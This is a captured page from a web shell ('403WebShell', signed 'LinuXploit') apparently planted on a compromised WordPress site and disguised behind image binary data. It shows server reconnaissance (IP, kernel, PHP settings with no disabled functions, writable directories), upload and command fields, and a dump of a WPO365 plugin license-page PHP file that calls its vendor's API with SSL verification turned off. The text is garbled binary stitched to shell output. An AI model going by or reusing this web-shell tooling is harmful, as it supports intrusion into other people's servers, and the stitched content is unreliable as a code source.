....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.21.27.90  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.3
System : Linux 4e27b89abc44 6.8.0-147-generic #147-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 24 11:33:16 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sites/xo-fab.com/www/graphmailerwp/wp-content/plugins/wpo365-msgraphmailer/Pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sites/xo-fab.com/www/graphmailerwp/wp-content/plugins/wpo365-msgraphmailer/Pages/License_Page.php
<?php

namespace Wpo\Pages;

use \Wpo\Core\Extensions_Helpers;
use \Wpo\Core\WordPress_Helpers;
use \Wpo\Core\Wpmu_Helpers;
use \Wpo\Services\Options_Service;
use \Wpo\Services\Log_Service;

// Prevent public access to this script
defined('ABSPATH') or die();

if (!class_exists('\Wpo\Pages\License_Page')) {

    class License_Page
    {

        private static $extensions = array();

        public function __construct()
        {

            /**
             * Load custom updater.
             */

            // Multisite frontend
            if (is_multisite() && !is_network_admin()) {
                return;
            }

            // Single site frontend
            if (!is_multisite() && !is_admin()) {
                return;
            }

            // Collect information about all activated extensions
            self::$extensions = Extensions_Helpers::get_active_extensions();

            // No extensions so no need to add the license page
            if (empty(self::$extensions)) {
                return;
            }

            /**
             * Add admin page.
             */
            add_action('admin_menu', '\Wpo\Pages\License_Page::license_menu');
            add_action('network_admin_menu', '\Wpo\Pages\License_Page::license_menu');

            /**
             * Activate license.
             */
            add_action('admin_init', '\Wpo\Pages\License_Page::activate_license');

            /**
             * Deactivate license.
             */
            add_action('admin_init', '\Wpo\Pages\License_Page::deactivate_license');

            /**
             * Show activation result.
             */
            add_action('admin_notices', '\Wpo\Pages\License_Page::activation_notice');
            add_action('network_admin_notices', '\Wpo\Pages\License_Page::activation_notice');
        }

        /**
         * Adds a "Licenses" submenu page to the main WPO365 admin menu.
         */
        public static function license_menu()
        {
            add_submenu_page('wpo365-wizard', 'Licenses', 'Licenses', 'delete_users', 'wpo365-manage-licenses', '\Wpo\Pages\License_Page::license_page');
        }

        public static function activation_notice()
        {

            if (isset($_GET['sl_activation']) && !empty($_GET['message']) && isset($_GET['page']) && $_GET['page'] == 'wpo365-manage-licenses') {

                $message = sanitize_text_field(urldecode($_GET['message']));

                switch ($_GET['sl_activation']) {

                    case 'false': ?>
                        <div class="notice notice-error">
                            <p><?php echo esc_html($message); ?></p>
                        </div>
                    <?php
                        break;

                    case 'true':
                    default:
                    ?>
                        <div class="notice notice-success"><?php echo esc_html($message) ?></div>
            <?php
                        break;
                }
            }
        }

        public static function activate_license()
        {

            // listen for our activate button to be clicked
            if (isset($_POST['activate_license']) && isset($_POST['store_item_id'])) {

                foreach (self::$extensions as $slug => $data) {

                    if ($data['store_item_id'] === intval(trim($_POST['store_item_id']))) {
                        $extension = $data;
                        break;
                    }
                }

                if (empty($extension)) {
                    Log_Service::write_log('WARN', __METHOD__ . ' -> Could not find extension for store item id ' . WordPress_Helpers::trim(sanitize_text_field($_POST['store_item_id'])));
                    return;
                }

                // run a quick security check
                if (!check_admin_referer('wpo365-manage-licenses', 'wpo365_license_nonce')) {
                    Log_Service::write_log('WARN', __METHOD__ . ' -> Could not successfully verify nonce [check admin referrer failed]');
                    return;
                }

                // retrieve the license from the POSTed data
                $license_key_name = 'license_' . $extension['store_item_id'];
                $posted_license_key = !empty($_POST[$license_key_name]) ? $_POST[$license_key_name] : '';
                $license_key = sanitize_text_field(trim($posted_license_key));

                // Call the custom API.
                $url = is_multisite() ? network_home_url() : home_url();
                $response = wp_remote_get(\sprintf("https://www.wpo365.com/?edd_action=activate_license&license=%s&item_id=%s&url=%s", $license_key, $extension['store_item_id'], $url), array('sslverify' => false));

                // make sure the response came back okay
                if (is_wp_error($response) || 200 !== wp_remote_retrieve_response_code($response)) {

                    if (is_wp_error($response)) {
                        $message = $response->get_error_message();
                    } else {
                        Log_Service::write_log('ERROR', __METHOD__ . ' -> Error occurred when activating license. Check the next line for the raw response message received.');
                        Log_Service::write_log('ERROR', $response);

                        $message = __('An error occurred, please try again.');
                    }
                } else {

                    $license_data = json_decode(wp_remote_retrieve_body($response));

                    if ($license_data->license == 'invalid') {

                        switch ($license_data->error) {

                            case 'expired':
                                $message = sprintf(
                                    __('Your license key for <strong>%s</strong> expired on %s.'),
                                    $extension['store_item'],
                                    date_i18n(get_option('date_format'), strtotime($license_data->expires, current_time('timestamp')))
                                );
                                break;

                            case 'disabled':
                                $message = sprintf(
                                    __('Your license key for <strong>%s</strong> has been disabled / revoked.'),
                                    $extension['store_item']
                                );
                                break;

                            case 'missing':
                                $message = sprintf(
                                    __('The license <strong>%s</strong> you entered does not exist.'),
                                    $license_key
                                );
                                break;

                            case 'missing_url':
                                $message = __('URL not provided.');
                                break;

                            case 'key_mismatch':
                                $message = sprintf(
                                    __('The license <strong>%s</strong> appears to be an invalid license key for %s.'),
                                    $license_key,
                                    $extension['store_item']
                                );
                                break;

                            case 'item_name_mismatch':
                                $message = sprintf(
                                    __('The license <strong>%s</strong> appears to be invalid for %s.'),
                                    $license_key,
                                    $extension['store_item']
                                );
                                break;

                            case 'invalid_item_id':
                                $message = sprintf(
                                    __('The item ID <strong>%s</strong> appears to be invalid.'),
                                    $extension['store_item_id']
                                );
                                break;

                            case 'no_activations_left':
                                $message = sprintf(
                                    __('Your license key <strong>%s</strong> has reached its activation limit.'),
                                    $license_key
                                );
                                break;

                            case 'license_not_activable':
                                $message = sprintf(
                                    __('Cannot activate the parent license <strong>%s</strong> of a bundle.'),
                                    $license_key
                                );
                                break;

                            default:
                                Log_Service::write_log('ERROR', __METHOD__ . ' -> Error occurred when activating license. Check the next line for the license data received.');
                                Log_Service::write_log('ERROR', $license_data);

                                $message = __('An error occurred, please try again.');
                                break;
                        }
                    }
                }

                $option_name = 'license_' . $extension['store_item_id'];
                $base_url = is_multisite()
                    ? network_admin_url('admin.php?page=wpo365-manage-licenses')
                    : admin_url('admin.php?page=wpo365-manage-licenses');

                if (!empty($message)) {
                    Options_Service::add_update_option($option_name, ''); // WPMU > Will update site option because this page is only availabe in the network-admin
                    $redirect = add_query_arg(array('sl_activation' => 'false', 'message' => urlencode($message)), $base_url);
                } else {
                    Options_Service::add_update_option($option_name, sprintf('%s|%s', $license_key, $url)); // WPMU > Will update site option because this page is only availabe in the network-admin
                    $redirect = add_query_arg(array('sl_activation' => 'true', 'message' => urlencode('License for ' . $extension['store_item'] . ' has been successfully activated.')), $base_url);
                }

                // Clean the plugins cache because the package URL must be recalculated
                wp_clean_plugins_cache(true);

                \Wpo\Core\Plugin_Helpers::check_licenses();

                wp_redirect($redirect);
                exit();
            }
        }

        public static function deactivate_license()
        {

            if (isset($_POST['deactivate_license']) && isset($_POST['store_item_id'])) {

                foreach (self::$extensions as $slug => $data) {

                    if ($data['store_item_id'] === intval(trim($_POST['store_item_id']))) {
                        $extension = $data;
                        break;
                    }
                }

                if (empty($extension)) {
                    Log_Service::write_log('WARN', __METHOD__ . ' -> Could not find extension for store item id ' . sanitize_text_field(trim($_POST['store_item_id'])));
                    return;
                }

                // run a quick security check
                if (!check_admin_referer('wpo365-manage-licenses', 'wpo365_license_nonce')) {
                    Log_Service::write_log('WARN', __METHOD__ . ' -> Could not successfully verify nonce [check admin referrer failed]');
                    return;
                }

                // retrieve the license from the POSTed data
                $license_key_name = 'license_' . $extension['store_item_id'];
                $posted_license_key = !empty($_POST[$license_key_name]) ? $_POST[$license_key_name] : '';
                $license_key = sanitize_text_field(trim($posted_license_key));

                // Call the custom API.
                $url = is_multisite() ? network_home_url() : home_url();
                $response = wp_remote_get(\sprintf("https://www.wpo365.com/?edd_action=deactivate_license&license=%s&item_id=%s&url=%s", $license_key, $extension['store_item_id'], $url), array('sslverify' => false));

                // make sure the response came back okay
                if (is_wp_error($response) || 200 !== wp_remote_retrieve_response_code($response)) {

                    if (is_wp_error($response)) {
                        $message = $response->get_error_message();
                    } else {
                        $message = __('An error occurred, please try again.');
                    }
                }

                $option_name = 'license_' . $extension['store_item_id'];
                $base_url = is_multisite()
                    ? network_admin_url('admin.php?page=wpo365-manage-licenses')
                    : admin_url('admin.php?page=wpo365-manage-licenses');

                if (!empty($message)) {
                    $redirect = add_query_arg(array('sl_activation' => 'false', 'message' => urlencode($message)), $base_url);
                } else {
                    Options_Service::add_update_option($option_name, '');
                    $license_data = json_decode(wp_remote_retrieve_body($response));

                    if ($license_data->license == 'deactivated') {
                        $redirect = add_query_arg(array('sl_activation' => 'true', 'message' => urlencode('License for ' . $extension['store_item'] . ' has been successfully deactivated.')), $base_url);
                    } else {
                        $redirect = add_query_arg(array('sl_activation' => 'true', 'message' => urlencode('License for ' . $extension['store_item'] . ' could not be deactivated. Please try again.')), $base_url);
                    }
                }

                // Clean the plugins cache because the package URL must be recalculated
                wp_clean_plugins_cache(true);

                \Wpo\Core\Plugin_Helpers::check_licenses();

                wp_redirect($redirect);
                exit();
            }
        }

        public static function license_page()
        {
            ?>
            <style>
                .wpo365-license-table {
                    background: #ffffff;
                    border: 1px solid #cccccc;
                    box-sizing: border-box;
                    float: left;
                    margin: 0 15px 15px 0;
                    max-width: 350px;
                    min-height: 220px;
                    padding: 14px;
                    position: relative;
                    position: relative;
                    width: 30.5%;
                }

                .wpo365-license-table TH {
                    background-color: #f9f9f9;
                    border-bottom: 1px solid #cccccc;
                    display: block;
                    margin: -14px -14px 20px;
                    padding: 14px;
                    width: 100%;
                }

                .wpo365-license-table TD {
                    display: block;
                    padding: 0;

                }

                .wpo365-license-table TD input[type=text] {
                    margin: 0 0 8px;
                    width: 100%;
                }

                .wpo365-license-table TD DIV {
                    background: #fafafa;
                    border-top: 1px solid #eeeeee;
                    bottom: 14px;
                    box-sizing: border-box;
                    margin: 20px -14px -14px;
                    min-height: 67px;
                    padding: 14px;
                    position: absolute;
                    width: 100%;
                }
            </style>
            <div class="wrap">
                <h2><?php _e('WPO365 | Licenses'); ?></h2>
                <form method="post">
                    <input type="hidden" id="store_item_id" name="store_item_id">
                    <table class="form-table">
                        <tbody>

                            <?php foreach (self::$extensions as $slug => $data) :
                                $license_key_name = 'license_' . $data['store_item_id'];
                                $license_key = '';
                                $network_options = get_site_option('wpo365_options');

                                if (!empty($network_options[$license_key_name])) {
                                    $license_option = $network_options[$license_key_name];

                                    if (WordPress_Helpers::stripos($license_option, '|') > -1) {
                                        $exploded = explode('|', $license_option);
                                        $license_key = $exploded[0];
                                    } else {
                                        $license_key = $license_option;
                                    }
                                }
                            ?>
                                <tr valign="top" class="wpo365-license-table">
                                    <th scope="row" valign="top">
                                        <?php echo esc_html($data['store_item']) ?>
                                    </th>
                                    <td>
                                        <?php echo wp_nonce_field('wpo365-manage-licenses', 'wpo365_license_nonce'); ?>
                                        <input type="text" class="regular-text" id="<?php echo esc_attr($license_key_name) ?>" name="<?php echo esc_attr($license_key_name) ?>" value="<?php echo esc_attr($license_key) ?>">

                                        <?php if (!empty($license_key)) : ?>
                                            <input type="submit" class="button-secondary" name="deactivate_license" value="<?php _e('Deactivate License'); ?>" onclick="document.getElementById('store_item_id').value = <?php echo esc_attr($data['store_item_id']) ?>" />
                                        <?php else : ?>
                                            <input type="submit" class="button-secondary" name="activate_license" value="<?php _e('Activate License'); ?>" onclick="document.getElementById('store_item_id').value = <?php echo esc_attr($data['store_item_id']) ?>" />
                                        <?php endif ?>

                                        <div>
                                            <p><a href="https://www.wpo365.com/your-account/" target="_blank">Manage Sites</a></p>
                                        </div>
                                    </td>
                                </tr>

                            <?php endforeach ?>
                        </tbody>
                    </table>
                </form>
            </div>
            <hr style="width: 60%; margin: 25px 0px 35px 5px;" />
            <div class="wrap">
                <table style="width: 60%">
                    <tr>
                        <td>
                            <div style="margin-bottom: 25px;">Click the button below to prompt WordPress to check for plugin updates and refresh the cached data for premium WPO365 plugins.</div>
                        </td>
                    </tr>
                    <tr>
                        <td>
                            <form method="POST" action="<?php echo admin_url('admin-post.php') ?>" enctype="multipart/form-data">
                                <input type="hidden" name="action" value="wpo365_force_check_for_plugin_updates">
                                <?php wp_nonce_field('wpo365_force_check_for_plugin_updates', 'wpo365_force_check_for_plugin_updates_nonce'); ?>
                                <input type="submit" class="button-secondary" value="<?php _e('Check for plugin updates'); ?>" />
                            </form>
                        </td>
                    </tr>
                </table>
            </div>
<?php
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit